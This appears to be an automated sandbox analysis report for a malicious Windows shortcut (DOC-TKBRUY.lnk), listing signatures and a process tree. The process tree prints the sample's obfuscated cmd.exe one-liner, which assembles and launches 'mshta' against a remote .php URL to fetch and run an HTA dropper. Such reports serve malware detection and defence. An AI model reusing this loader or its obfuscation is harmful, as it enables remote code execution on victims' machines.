Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 08:25
General
- Target DOC-TKBRUY.lnk
- Size 2KB
- Sample260804-kbk4aavfnd
- SHA256 beab6ba3a1878e99d0ead7652440bd698082430caff92afd039eb781ae89561c
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TKBRUY.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set eNV=cachezhyhlgchcache&set hL=bakgseiedkmbak&set nOar=wintufthowclpinzwin&set Nc=logmwqublnbtlwafpdasmsclog&set rIm=oldgjigfwijsihvzjcwcoold&set qMYR=tmpfysqfzxsetmtmp&set aSccI=28jmsq&&set qLbjc=rshos&&set Oiv=xtaeot&set Qi=sst3r&&set fzPO=yare8&&set ElFjH=skgta&set uXf=dbgaerphmfdwkgedbg&set YMay=winywvvdrcwin&set oYPJ=cacheaqymaihshqqjjzwwchcache&set Jhvp=winhvmkwewzshgxvqxwin&&set mn=htt@ps:@//ma-@pd@ffill@e@[email protected]/h@/@estagio1.php?r=3@91@46@9@FB5D82@D@B&&start /b !aSccI:~3,1!!qLbjc:~1,2!!Oiv:~1,2! !mn:@=!&&set Erh=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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